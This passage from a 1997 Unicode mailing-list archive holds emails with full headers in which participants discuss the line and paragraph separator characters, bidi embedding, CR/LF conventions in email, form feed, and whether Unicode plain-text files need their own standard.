done on a ** line by line basis. Depending on where line breaks occur, different ** text may appear on a line, and in different orders. This is independent ** of the issue of how to represent line breaks-- if they are represented ** external to the text (a line break table, based on wrapping to some ** width or character count, say) this still happens. This makes rebreaking ** lines somewhat more of an issue than it is with ASCII text. ** 5) Does PS imply LS? Or would I end a paragraph with LS PS? ** Yes, use only PS to separate paragraphs. 6) Imagine I want to start the third paragraph on a new page. Where do I put the FF (wrt the LS/CR/LF/ and bidi markup in the vicinity)? ** FF is higher-level formatting, you'd have to interpret it separately. @@ In particular, you would definitely interpret it as a block separator. 7) Any specific bidi markup required around the numerals? In the Arabic date: if levels intended are 2212122, would I need extra markup? I would think I would need: LRO number PDF \\ LRO number PDF \\ LRO number PDF (so that the \\s, which are ""other neutral"", stay at level 1)? ** Almost, see my example above. In your example, the separate runs ** of LTR text would occur in RTL order, reversing the year and day of ** the date from what your example shows. 8) What is the intent (as opposed to the effect which the algo surely makes clear) of RLE and LRE? When are they useful? (Relates to question 1). ** Quoted text where the text itself contains mixed directions is a common ** case. You can see it (implicitly) in the examples for rule L2. The quotes ** logically belong to the surrounding text, and the embedding codes are ** just inside the quotes. @@ In the vast majority of cases, it is not necessary. The important cases are @@ those that Doug mentioned. @@ RLO and LRO are even more infrequent, and are designed to allow for cases @@ such part numbers with mixed numbers and letters, where the character @@ order is forced. 9) A typesetting question. Where do quotes belong in mixed-directionality texts (eg. in line 7)? Should they be at the same level as the text introducing the quote? Or at the level of the text being quoted. On line 7, should the quote be at the end of the line instead of where I put it (in the PS file)? Can't say I'm comfortable with either solution. And what style of quotes does one use? That of the quoting or of the quoted language? ** Quotes are at the same level as the text introducing the quote. @@ In general, you expect the style of the quotes to be the same as the containing @@ text, not the embedded text. However, that is up to the user's choice. Thanks in advance for any clarifications. Pierre lew@nortel.ca 16-May-97 22:09:47-GMT,4669;000000000001 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id SAA13190 for ; Fri, 16 May 1997 18:09:45 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA12505; Fri, 16 May 97 13:19:41 -0700 Message-Id: <9705162019.AA12505@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uml-Sequence: 2632 (1997-05-16 20:19:26 GMT) To: Multiple Recipients of Reply-To: ""Martin J. Duerst"" From: ""Unicode Discussion"" Date: Fri, 16 May 1997 13:19:24 -0700 (PDT) Subject: Re: Line Separator Character On Fri, 16 May 1997, Pierre Lewis wrote: > Context: plain text unicode file. There are basically two models of plain text. The first is line-oriented, the second is paragraph-oriented. Email or programm code is the traditional example of line-oriented plain text. Descriptive text as it appears in word processors, minus formatting, is the typical example of paragraph- oriented plain text. In traditional encoding (using CR/LF/CRLF) and in ""official"" Unicode encoding (using PS), the two models are made compatible by treating each line in the line-oriented plain text as a paragraph. On the other hand, the paragraph-oriented model can be reduced to the line-oriented model by splitting lines in a particular layout of the paragraph. This splitting is again done by paragraph separators (CR/LF/CRLF/PS), and not by LS. LS is only used for certain effects in the paragraph-oriented model that occur inside a paragraph. For example, I use it in some wordprocessors to start an new line without having the last line aligned left in a justified paragraph and/or without having the new line alligning indented like a first line of a paragraph. The use to avoid paragraph interspacing has also been mentionned. In summary, LS is an advanced device for paragraph-oriented plain text, and not to be used for line-oriented plain text. That said, let's now look at BIDI: > Assuming we use LS to separate lines (I guess there's no answer to the > question ""what should I use""), then doesn't that interact negatively > with bidi markup, in particular embedding markups? Ie. I have to > reestablish the proper embedding level at each line. > > Say I have two lines, some English with embedded Yiddish (levels shown > here, in logical order): > 000 0000 00 00000 RLE 11 1111 NL | English RLE Yiddish NL > 11 11111 1 11111 PDF 00 0000 ... | Yiddish PDF English ... > > Now if the newline (NL in above) is indicated by a LS (\\u2028), the > bidi state is reset between the lines. If I now start the second line > with RLE (so as to say I'm reestablishing an embedding level), I can no > longer tell whether I have one embedded segment or two (with a 0-level > space between, where the LS is). Could be an issue if I later reformat > (reflow) this text (as I might want to do in an editor). > > As a matter of fact, if the second line (after LS) starts with a strong > R2L character and I don't reissue RLE, won't the base level be set to 1? > This would put the following English at level 2 (not intended as the > English isn't embedded in the Yiddish here, but the other way around). LS is defined as a block separator, so you are right. When you insert an LS to split the lines, your application could insert arbitrary additional codepoints such as RLE. What it does insert (or not) is outside of the Unicode BIDI spec, which only describes static behaviour (what has to happen when the insertions are done), and not dynamic interactive behaviour (which can be a lot more complex if you want it to follow user's expectations, and given that static BIDI is already difficult, I hope you get the point :-). But when you edit BIDI text, you really should work with paragraph-oriented plain text, without additional LSs. Then everything will run more or less smoothly. Reformatting (reflow) is done automatically and correctly. In those cases where you indeed insert LSs, they will in most cases not be in the middle of text, but at some logical interruption point, without the need for frequent reflow. > These problems go away if I use any combinations of CR/LF to indicate > newline. This might be a solution for some very special cases. But in general, for BIDI you should use paragraph-oriented plain text, with CR/LF/ CRLF/PS as paragraph separators. I'm pretty sure that when Microsoft implements BIDI (or the way they already do it), they will treat CR (what they use internally) as a block separator in the BIDI algorithm. Regards, Martin. 16-May-97 22:25:22-GMT,2878;000000000001 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id SAA15567 for ; Fri, 16 May 1997 18:25:21 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA12695; Fri, 16 May 97 13:39:12 -0700 Message-Id: <9705162039.AA12695@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uml-Sequence: 2634 (1997-05-16 20:38:15 GMT) To: Multiple Recipients of Reply-To: ""Martin J. Duerst"" From: ""Unicode Discussion"" Date: Fri, 16 May 1997 13:38:13 -0700 (PDT) Subject: Re: Line Separator character On Wed, 14 May 1997, Adrian Havill wrote: > Martin J. Duerst wrote: > > Email has very strict restrictions on this. You can't send doublebyte > > UTF-16 or UCS-2 in Email. CRLF always has to be present as a line > > separator. Unicode in Email is possible with UTF-7 (and CRLF as line > > separator) or UTF-8 + BASE64/QuotedPrintable (and CRLF...). > > Please see RFC 2045/6/7 for this. > > I'm aware of this. Allow me to clarify: encode the Unicode line and > paragraph separators in UTF-7 and transmit no CR and LFs. Some > protocols, such as SMTP, have a line limit (998 octets in the case of > SMTP). SMTP email requires that line breaks be encoded as CRLF for all things that are text (i.e. Content-Type: text/*). The user (or the user agent) is also asked to limit line length to something like 80 characters (actually 80 bytes). > However, as the behavior of CR and LF is system dependent, an e-mail > client could theoretically ignore CR LF, etc and go by the UTF-7 encoded > Unicode line and paragraph breaks, when CR and LF are system dependent, but in mail, it's always CRLF, and mail user agents do the conversion. > RFC2046 says '[i]t should not be necessary to add any line breaks to > display ""text/plain"" correctly....' That's because text/plain (and all of text/*) is already defined to have these as CRLF, at 'short' intervals. > So why not NOT use them and go with > the Unicode ones? Because that may (or actually will) break some mail software. I know many people don't like that (I don't either), but some things in Internet mail are braindead, and will stay braindead. Too many influential people are too used to the way things are, and too many people are affraid of some software failing to work. Of course, what you can do is to have your local user agent change from CRLF to whatever line breaking convention you use locally, which might very well be the ""true"" Unicode codes. > As there are few legacy Unicode-capable e-mail clients, is it not > possible to push to get this functionality added now? The problem is not the clients. The problem is all the software that the mail passes from one client to the other. Regards, Martin. 17-May-97 21:28:56-GMT,4627;000000000011 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id RAA05910 for ; Sat, 17 May 1997 17:28:55 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA15437; Sat, 17 May 97 14:09:06 -0700 Message-Id: <9705172109.AA15437@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 2642 (1997-05-17 21:08:44 GMT) To: Multiple Recipients of Reply-To: Edward Cherlin From: ""Unicode Discussion"" Date: Sat, 17 May 1997 14:08:43 -0700 (PDT) Subject: Re: Line Separator Character ""Martin J. Duerst"" wrote: >On Fri, 16 May 1997, Pierre Lewis wrote: > > >> Context: plain text unicode file. > >There are basically two models of plain text. The first is line-oriented, >the second is paragraph-oriented. Email or programm code is the traditional >example of line-oriented plain text. Descriptive text as it appears in >word processors, minus formatting, is the typical example of paragraph- >oriented plain text. > >In traditional encoding (using CR/LF/CRLF) and in ""official"" Unicode >encoding (using PS), the two models are made compatible by treating >each line in the line-oriented plain text as a paragraph. On the other >hand, the paragraph-oriented model can be reduced to the line-oriented >model by splitting lines in a particular layout of the paragraph. >This splitting is again done by paragraph separators (CR/LF/CRLF/PS), >and not by LS. There are actually several other models for files of 7-bit or 8-bit character codes, commonly, but misleadingly, known as ASCII text files. The original model was control of a Teletype machine, where several control characters called for physical movement of the mechanism. Many of the bad habits used in text files are survivals of this model. Others, fortunately, have died out. (I am thinking of some of the uses of control characters in editors meant for hard copy terminals.) CRLF was *required* to initiate a new line, but CR by itself was sometimes used for overstriking (if BS was not available), including underlining and composition of APL characters, and also for imitating typewriter overstrikes such as c| for the cent sign and some accented letters such as u"" or e`. HT and FF were very commonly used, and some others, such as SI and SO, less so, but each of these specified a mechanical action. SI and SO allowed a fairly standard way to control some dual-script devices including ASCII/Arabic, ASCII/Cyrillic, APL/ASCII, and other combinations. Many devices used ASCII control characters for new purposes, so that an ASCII character string could specify the hardware behavior needed for bold facing and so on. The actual process of printing might call for translation from a 'text file' to an ASCII command string file which would produce the same printed image by other means. For example, a printer driver for a bidirectional printer could save time by printing alternate lines in reverse order, with LF and some spacing commands between lines. We then had the glass Teletype, or dumb terminal, model, which might treat CR and LF as on mechanical devices, or might treat them both as new line characters, or might do something else. At the same time, 'text files' could still be used to control electronic printers, with varying interpretations of some of the control characters. Now, on computers with GUIs, we have different systems that expect CR, or LF, or CRLF, as the new line signal, and have other interpretations of other control characters. System software vendors are going off in all directions inventing new misinterpretations of Unicode characters and constructing yet other file designs. We want to have a uniform, portable definition of the meaning of a file of 16-bit character codes interpreted as Unicode, or ""Unicode text file"" for short. At the same time, we have several uses for such files, where different interpretations may be desired. If we want to do this right, I think we have to find the appropriate organization for defining such file formats and uses, and get down to some serious and at times difficult standard making. The Unicode character code standard does not seem to be the right place to do this. -- Edward Cherlin Help outlaw Spam Everything should be made Vice President http://www.cauce.org as simple as possible, NewbieNet, Inc. 1000 members and counting __but no simpler__. http://www.newbie.net/ 17 May 97 Attributed to Albert Einstein 17-May-97 23:00:51-GMT,6375;000000000001 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id TAA21108 for ; Sat, 17 May 1997 19:00:50 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA15658; Sat, 17 May 97 15:40:09 -0700 Message-Id: <9705172240.AA15658@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2643 (1997-05-17 22:39:47 GMT) To: Multiple Recipients of Reply-To: Frank da Cruz From: ""Unicode Discussion"" Date: Sat, 17 May 1997 15:39:45 -0700 (PDT) Subject: Re: Line Separator Character > There are actually several other models for files of 7-bit or 8-bit > character codes, commonly, but misleadingly, known as ASCII text files. > > The original model was control of a Teletype machine, where several control > characters called for physical movement of the mechanism. Many of the bad > habits used in text files are survivals of this model. > I wouldn't call them bad habits necessarily. The primary bone of contention here is the distinction between LF and CR... > CRLF was *required* to initiate a new line, but CR by itself was sometimes > used for overstriking (if BS was not available), including underlining and > composition ... > Right. And LF was used by itself to go down one row. > We then had the glass Teletype, or dumb terminal, model, which might treat > CR and LF as on mechanical devices, or might treat them both as new line > characters... > Actually I think that practically all CRTs treat CR and LF just as the TTY did. CR positions the cursor to the left of the current row, LF moves it down one row. > Now, on computers with GUIs, we have different systems that expect CR, or > LF, or CRLF, as the new line signal, and have other interpretations of > other control characters. > Really the problem started when the UNIX designers decided that it was good idea to have a storage model that was different than the tranmsission model. This allowed some space to be saved on disk, and it made text processing software a bit easier to write. However, it complicated the tty driver by requiring it to substitute CRLF for LF when displaying text files, which in turn has led to all sorts of confusion about ""raw"" vs ""cooked"" mode, etc, and the related distinction between NVT vs binary mode in Telnet protocol. (It is a simplification that UNIX was the first disk operating system to store textual files differently than it transmitted them, but it may have been the first *stream-oriented* one to do so -- or at least the one we remember.) Thus CRLF has always been the line terminator in ASCII (in the broad sense of ""not EBCDIC"") text transmission. Systems that chose to use different internal representations have had the obligation to convert back and forth during transmission. It's interesting to speculate how different the world (of computing) might be today if only a few arbitrary and perhaps whimsical decisions had been made differently decades ago: if UNIX and several other popular platforms had used CRLF rather than LF (or CR) as the line terminator; if DOS had used ""forward slash"" (/) rather than ""backward slash"" (\\) as the directory separator... How many person-eons of effort have gone into addressing the consequences of these decisions... > HT and FF were very commonly used... > (And still are...) Now there's an interesting point. Unicode has addressed the CR/LF/CRLF confusion with LS and PS, but what about formfeed? Isn't it sometimes just as necessary to specify a hard page break as it is to specify a hard line or paragraph break? I suppose there must be a boundary somewhere between ""Trust your rendering engine"" and ""Mother, Please! I'd rather do it myself!"" I don't have a copy handy, and I might be entirely wrong about this, but isn't the Holy Koran a document that must be paginated in a specific way? In any case, the strong Use-A-GUI thrust of Unicode will make it increasingly difficult for certain kinds of people to operate in the ways to which they have become accustomed over the past decades in which plain text was ""good enough"" save that one could not put lots of languages into it. For example, today I can write a letter that spills over to one or more ""second sheets"" in plain text and print it on a plain-text printer without a second thought, using any software at all on any platform, embedding hard line, paragraph, and page breaks in it, just as most of us still do with email (except for the page breaks). No ""templates"", ""wizards"", ""profiles"", ""preferences"", or ""Buzzword-1.0 Compliance"" involved. I can move this letter to practically any other platform and it will still be perfectly legible and printable -- no export or import or conversion or version skew to worry about. I think a lot of people would be perfectly happy to do the same in a plain-text Unicode world using plain-text Unicode terminals and printers, if there were such things. But there's a bigger issue... The idea that one must embed Unicode in a higher level wrapper (e.g. a Microsoft Word document, or even HTML) to make it useful has a certain frightening consequence: the loss of any expectancy of longevity for our new breed of documents. These higher-level systems will be overwhelmingly proprietary due to the vast amount of coding that must go into them, the voracious nature of the marketplace, etc, and so formats will become obsolete with ever-increasing frequency, and it will become ever harder to extract the plain-text characters -- the substance -- from them. That which is perceived at a critical moment in time to be worthy of preservation will be converted to the new format, the rest discarded or left for decipherment by future generations of information archaeologists. (If you don't believe this is a problem, think about what is happening to our (physical) libraries all over the world at this moment -- get ready to say goodbye forever to five millenia of history that was not worth digitizing.) (And then to do it all over again when the digital formats and media need conversion in another ten years.) (And then again five years after that, etc...) So let's do our part and make some effort to accommodate traditional plain-text applications in Unicode, rather than discourage them :-) - Crank (Oops, I mean Frank) 18-May-97 0:13:19-GMT,2045;000000000001 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id UAA29722 for ; Sat, 17 May 1997 20:13:18 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA15880; Sat, 17 May 97 16:56:42 -0700 Message-Id: <9705172356.AA15880@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2644 (1997-05-17 23:56:16 GMT) To: Multiple Recipients of Reply-To: Terry Allen From: ""Unicode Discussion"" Date: Sat, 17 May 1997 16:56:15 -0700 (PDT) Subject: Re: Line Separator Character Frank da Cruz asked: >(And still are...) Now there's an interesting point. Unicode has addressed the CR/LF/CRLF confusion with LS and PS, but what about formfeed? Isn't it sometimes just as necessary to specify a hard page break as it is to specify a hard line or paragraph break? I suppose there must be a boundary somewhere between ""Trust your rendering engine"" and ""Mother, Please! I'd rather do it myself!"" I don't have a copy handy, and I might be entirely wrong about this, but isn't the Holy Koran a document that must be paginated in a specific way? It isn't. My Egyptian Qur'an is one continuous text flow; the heading of a surah may even occur right at the bottom of a page. But there are such documents; the example of legal documents was brought up recently wrt SGML style sheets. >From an SGML point of view, I want to separate lines and paragraphs in my SGML markup. That's how I'd expect to obtain longevity for the text, not through LS and PS. CR and LF and SGML's difficulty in dealing with them (now redressed partially in XML) are bad enough. In SGML I can't see using LS or PS. Regards (and thanks for an interesting discussion), Terry Allen Electronic Publishing Consultant tallen[at]sonic.net http://www.sonic.net/~tallen/ Davenport and DocBook: http://www.ora.com/davenport/index.html T.A. at Passage Systems: terry.allen[at]passage.com 18-May-97 8:11:08-GMT,1439;000000000011 Received: from mtshasta.snowcrest.net (mtshasta.snowcrest.net [206.245.192.1]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id EAA07970 for ; Sun, 18 May 1997 04:11:06 -0400 (EDT) Received: from [206.245.192.57] (ttyD0.mtshasta.snowcrest.net [206.245.192.32]) by mtshasta.snowcrest.net (8.8.5/8.6.5) with ESMTP id BAA00515 for ; Sun, 18 May 1997 01:11:02 -0700 (PDT) X-Sender: cherlin@snowcrest.net Message-Id: In-Reply-To: References: Your message of Sat, 17 May 1997 14:08:43 -0700 (PDT) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Sat, 17 May 1997 18:52:05 -0700 To: Frank da Cruz From: Edward Cherlin Subject: Re: Line Separator Character You wrote: [snip] >So let's do our part and make some effort to accommodate traditional >plain-text applications in Unicode, rather than discourage them :-) > >- Crank (Oops, I mean Frank) As you say. So do you think my suggestion of a formal standard for Unicode text files has merit? -- Edward Cherlin Help outlaw Spam Everything should be made Vice President http://www.cauce.org as simple as possible, NewbieNet, Inc. 1000 members and counting __but no simpler__. http://www.newbie.net/ 17 May 97 Attributed to Albert Einstein 18-May-97 15:40:32-GMT,1713;000000000001 Received: (from fdc@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id LAA21787; Sun, 18 May 1997 11:40:31 -0400 (EDT) Date: Sun, 18 May 97 11:40:30 EDT From: Frank da Cruz To: Edward Cherlin Subject: Re: Line Separator Character In-Reply-To: Your message of Sat, 17 May 1997 14:08:43 -0700 (PDT) Message-ID: Oops, never mind -- it was this: > We want to have a uniform, portable definition of the meaning of a file of > 16-bit character codes interpreted as Unicode, or ""Unicode text file"" for > short. At the same time, we have several uses for such files, where > different interpretations may be desired. If we want to do this right, I > think we have to find the appropriate organization for defining such file > formats and uses, and get down to some serious and at times difficult > standard making. The Unicode character code standard does not seem to be > the right place to do this. > I'm not sure what you're after. I'm mainly concerned about the continued viability of files containing only graphic characters, spaces, line breaks, paragraph breaks, and formfeeds. Plain, literal text that can contain poetry, tables, source code, you name it, and stays like it is. Pretty much what we have today with 7- and 8-bit plain text, except without the confusion over CRLF/CR/LF, etc. I think that what's really valuable about these files is their self-contained and independent expressiveness -- they don't need a rendering engine, they don't need any special transport protocol -- they contain the text and the minimal control information to be transported and understood universally. - Frank 19-May-97 3:06:29-GMT,1723;000000000001 Received: from orpheus.amdahl.com (orpheus.amdahl.com [129.212.11.6]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id XAA09584 for ; Sun, 18 May 1997 23:06:28 -0400 (EDT) Received: from minerva.amdahl.com by orpheus.amdahl.com with smtp (Smail3.1.29.1 #3) id m0wTImI-0001JvC; Sun, 18 May 97 20:06 PDT Received: from juts.ccc.amdahl.com by minerva.amdahl.com with smtp (Smail3.1.29.1 #5) id m0wTIm0-0002ChC; Sun, 18 May 97 20:06 PDT Received: by juts.ccc.amdahl.com (/\\../\\ Smail3.1.14.4 #14.6) id ; Sun, 18 May 97 20:06 PDT Message-Id: Comments: Authenticated sender is From: ""Tony Harminc"" To: ""Unicode Discussion"" , fdc@watsun.cc.columbia.edu Date: Sun, 18 May 1997 23:04:41 -0400 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Line Separator Character Priority: normal In-reply-to: <9705172240.AA15682@unicode.org> X-mailer: Pegasus Mail for Win32 (v2.52) On 17 May 97 at 15:39, Frank da Cruz wrote: > It's interesting to speculate how different the world (of computing) might be > today if only a few arbitrary and perhaps whimsical decisions had been made > differently decades ago: if UNIX and several other popular platforms had used > CRLF rather than LF (or CR) as the line terminator; if DOS had used ""forward > slash"" (/) rather than ""backward slash"" (\\) as the directory separator... How > many person-eons of effort have gone into addressing the consequences of these > decisions... If the original IBM PC had used EBCDIC instead of ASCII... Tony Harminc 19-May-97 17:48:10-GMT,5906;000000000001 Return-Path: Received: from halon.sybase.com (halon.sybase.com [192.138.151.33]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id NAA16182 for ; Mon, 19 May 1997 13:48:05 -0400 (EDT) Received: from smtp1.sybase.com (sybgate.sybase.com [130.214.220.35]) by halon.sybase.com (8.8.4/8.8.4) with SMTP id KAA10672; Mon, 19 May 1997 10:51:14 -0700 (PDT) Received: from birdie.sybase.com by smtp1.sybase.com (4.1/SMI-4.1/SybH3.5-030896) id AA06870; Mon, 19 May 97 10:49:25 PDT Received: by birdie.sybase.com (5.x/SMI-SVR4/SybEC3.5) id AA17679; Mon, 19 May 1997 10:47:55 -0700 Date: Mon, 19 May 1997 10:47:55 -0700 From: kenw@sybase.com (Kenneth Whistler) Message-Id: <9705191747.AA17679@birdie.sybase.com> To: fdc@watsun.cc.columbia.edu Subject: Unicode plain text (Was: Line Separator Character) Cc: unicode@unicode.org, kenw@sybase.com X-Sun-Charset: US-ASCII Crank, er... Frank, >> HT and FF were very commonly used... >> >(And still are...) Now there's an interesting point. Unicode has addressed >the CR/LF/CRLF confusion with LS and PS, but what about formfeed? Isn't it >sometimes just as necessary to specify a hard page break as it is to specify a >hard line or paragraph break? You can still use U+000C FORM FEED in Unicode plain text, and a renderer that knows about page breaks can do the ""right thing"", namely whatever it did with ^L for an ASCII text. FORM FEED, like HORIZONTAL TAB, was not considered to be ambiguous enough in usage (unlike CR/LF) to require any separate encoding in Unicode. > In any case, the strong Use-A-GUI thrust of Unicode will make it increasingly > difficult for certain kinds of people to operate in the ways to which they > have become accustomed over the past decades in which plain text was ""good > enough"" save that one could not put lots of languages into it. The goal of Unicode plain text is to recapture that portability in the encoding, but also allow you to put lots of languages into it. The ""Use-A-GUI thrust"" of Unicode acknowledges the fact that rendering of complex scripts (including the Latin script with generative use of combining marks) requires logic that is much more amenable to implementation in a GUI framework than in a terminal model. However, appropriate (and very large and useful) subsets of Unicode *can* be implemented with simple rendering models. (Cf. Windows NT until very recently. :-) ) > I can move this letter to practically any > other platform and it will still be perfectly legible and printable -- no > export or import or conversion or version skew to worry about. I think a lot > of people would be perfectly happy to do the same in a plain-text Unicode > world using plain-text Unicode terminals and printers, if there were such > things. That is exactly what Unicode plain text is all about. And, by the way, Notepad on Windows NT was pretty close to being a ""plain-text Unicode terminal"". > The idea that one must embed Unicode in a higher level wrapper (e.g. a > Microsoft Word document, or even HTML) to make it useful has a certain > frightening consequence: the loss of any expectancy of longevity for our new > breed of documents. There is absolutely nothing new about this. I was warning my linguistic colleagues about the longevity of their documents when they started using WordStar back around 82/83. 7-bit ASCII is the only encoding that stayed stable enough and was widely enough implemented to retain easy transmissibility across the computer generations without the intervention of information archaeologists. Well, 16-bit Unicode plain text is aimed at no less a goal than being the universal wide-ASCII plain text of the 21st century. Grumpy aside: This goal is not helped by people who treat Unicode as a standards dumping ground for assigning numbers to everybody's favorite collection of junk vaguely related to text, or who try to infiltrate mechanisms (such as language tags) that do not belong in plain text. > So let's do our part and make some effort to accommodate traditional > plain-text applications in Unicode, rather than discourage them :-) I agree completely. An excellent example of the appropriate place for a Unicode plain-text editor would be a Java IDE. If someone writes a good Unicode plain-text editor for such an application, it would have wider applicability. (I know I often use the editors of C++ IDE's to create (ASCII) plain text when I don't want it all gummed up as a Word or Frame document.) Ed Cherlin commented: > We want to have a uniform, portable definition of the meaning of a file of > 16-bit character codes interpreted as Unicode, or ""Unicode text file"" for > short. At the same time, we have several uses for such files, where > different interpretations may be desired. If we want to do this right, I > think we have to find the appropriate organization for defining such file > formats and uses, and get down to some serious and at times difficult > standard making. The Unicode character code standard does not seem to be > the right place to do this. I disagree about the last point. A Unicode plain text file consists of a stream of Unicode characters (and nothing else), interpreted according to the Unicode standard. It should be marked with an initial U+FEFF (though technically that is optional). This much is already clear from the standard, as is the usage of LINE SEPARATOR and PARAGRAPH SEPARATOR for minimal, unambiguous, plain text formatting consistent with the bidi algorithm. The situation is complicated by the two possible byte orders (which is one reason for the U+FEFF) and by the fact that the most widely implemented variant, namely that in Windows NT, chose LSB order instead of MSB order. But other than that, there is not much more to be said about a Unicode plain text file. The usefulness of the concept lies in its simplicity. --Ken Whistler 20-May-97 20:29:52-GMT,4480;000000000011 Return-Path: Received: from mtshasta.snowcrest.net (mtshasta.snowcrest.net [206.245.192.1]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id QAA02464 for ; Tue, 20 May 1997 16:29:41 -0400 (EDT) Received: from [206.245.192.36] (ttyD23.mtshasta.snowcrest.net [206.245.192.67]) by mtshasta.snowcrest.net (8.8.5/8.6.5) with ESMTP id NAA01464; Tue, 20 May 1997 13:29:30 -0700 (PDT) X-Sender: cherlin@snowcrest.net Message-Id: In-Reply-To: References: Your message of Sat, 17 May 1997 14:08:43 -0700 (PDT) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Mon, 19 May 1997 23:57:56 -0700 To: Frank da Cruz From: Edward Cherlin Subject: Unicode plain text standard? (was Re: Line Separator Character) Cc: unicode@Unicode.ORG >Oops, never mind -- it was this: > >> We want to have a uniform, portable definition of the meaning of a file of >> 16-bit character codes interpreted as Unicode, or ""Unicode text file"" for >> short. At the same time, we have several uses for such files, where >> different interpretations may be desired. If we want to do this right, I >> think we have to find the appropriate organization for defining such file >> formats and uses, and get down to some serious and at times difficult >> standard making. The Unicode character code standard does not seem to be >> the right place to do this. >> >I'm not sure what you're after. I'm mainly concerned about the continued >viability of files containing only graphic characters, spaces, line breaks, >paragraph breaks, and formfeeds. Plain, literal text that can contain >poetry, tables, source code, you name it, and stays like it is. I can tell you don't know what table building in Sanskrit is like, and you don't understand BIDI direction marking. >Pretty much what we have today with 7- and 8-bit plain text, except without >the confusion over CRLF/CR/LF, etc. and the utter incompatibility of the extra 128 characters in the 8-bit sets between PC DOS, PC Windows, Mac, various Unix definitions, and all the other extended ASCII code sets such as PC code pages and the ISO 8859 series. Files of 8-bit characters are extremely non-portable. Having lived in Korea and Japan, and been a mathematician and APL programmer, I lost all faith in ASCII long ago. It is horribly inadequate for English, and more so for almost any other language, except for various computer programming languages and constructed languages like Lojban, which were deliberately built within the limits of ASCII, or in the old days EBCDIC. >I think that what's really valuable about >these files is their self-contained and independent expressiveness -- they >don't need a rendering engine, they don't need any special transport protocol >-- they contain the text and the minimal control information to be transported >and understood universally. >- Frank I agree on the transport protocol in principle, although today we need UTF-7, UTF-8, and other encodings, but the idea of full Unicode text without a rendering engine won't fly. That's fine for simple alphabetic scripts, and even for Chinese and Japanese. It doesn't work right for RTL scripts (Arabic and Hebrew), especially for mixtures of RTL and LTR, and for scripts that combine characters into larger groups, usually syllables. This includes Korean, all of the Indic scripts, Tibetan, and Ethiopic. Arabic script has a very large dependence on ligatures, some of them quite complex. There are also problems for rendering math expressions in plain text. Then there are various deprecated characters, the private use areas, and the surrogate character mechanism. Anyone who thought the CRLF business was bad should consider how many incompatible choices can be made in Unicode. Yes, it is true that the Unix file model of a sequence of uninterpreted bytes is very general, and so is a file of uninterpreted 16-bit codes, but files have to be interpreted to be useful. We gloss over the amount of interpretation we do on ASCII text files, but we cannot do that with Unicode. -- Edward Cherlin Help outlaw Spam Everything should be made Vice President http://www.cauce.org as simple as possible, NewbieNet, Inc. 1000 members and counting __but no simpler__. http://www.newbie.net/ 17 May 97 Attributed to Albert Einstein 20-May-97 21:39:41-GMT,7559;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id RAA20335 for ; Tue, 20 May 1997 17:39:38 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA25440; Tue, 20 May 97 13:31:38 -0700 Message-Id: <9705202031.AA25440@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 2653 (1997-05-20 20:29:36 GMT) To: Multiple Recipients of Reply-To: Edward Cherlin From: ""Unicode Discussion"" Date: Tue, 20 May 1997 13:29:34 -0700 (PDT) Subject: Re: Unicode plain text (Was: Line Separator Character) kenw@sybase.com (Kenneth Whistler) wrote: [snip] >You can still use U+000C FORM FEED in Unicode plain text, and a renderer that >knows about page breaks can do the ""right thing"", namely whatever it did with >^L for an ASCII text. FORM FEED, like HORIZONTAL TAB, was not considered to >be ambiguous enough in usage (unlike CR/LF) to require any separate encoding >in Unicode. > >> In any case, the strong Use-A-GUI thrust of Unicode will make it >>increasingly >> difficult for certain kinds of people to operate in the ways to which they >> have become accustomed over the past decades in which plain text was ""good >> enough"" save that one could not put lots of languages into it. > >The goal of Unicode plain text is to recapture that portability in the >encoding, but also allow you to put lots of languages into it. The ""Use-A-GUI >thrust"" of Unicode acknowledges the fact that rendering of complex scripts >(including the Latin script with generative use of combining marks) requires >logic that is much more amenable to implementation in a GUI framework than in >a terminal model. However, appropriate (and very large and useful) subsets of >Unicode *can* be implemented with simple rendering models. (Cf. Windows NT >until very recently. :-) ) > >> I can move this letter to practically any >> other platform and it will still be perfectly legible and printable -- no >> export or import or conversion or version skew to worry about. I think >>a lot >> of people would be perfectly happy to do the same in a plain-text Unicode >> world using plain-text Unicode terminals and printers, if there were such >> things. The Everson Mono fonts would suit such a product admirably, up to a point. >That is exactly what Unicode plain text is all about. And, by the way, >Notepad on Windows NT was pretty close to being a ""plain-text Unicode >terminal"". > >> The idea that one must embed Unicode 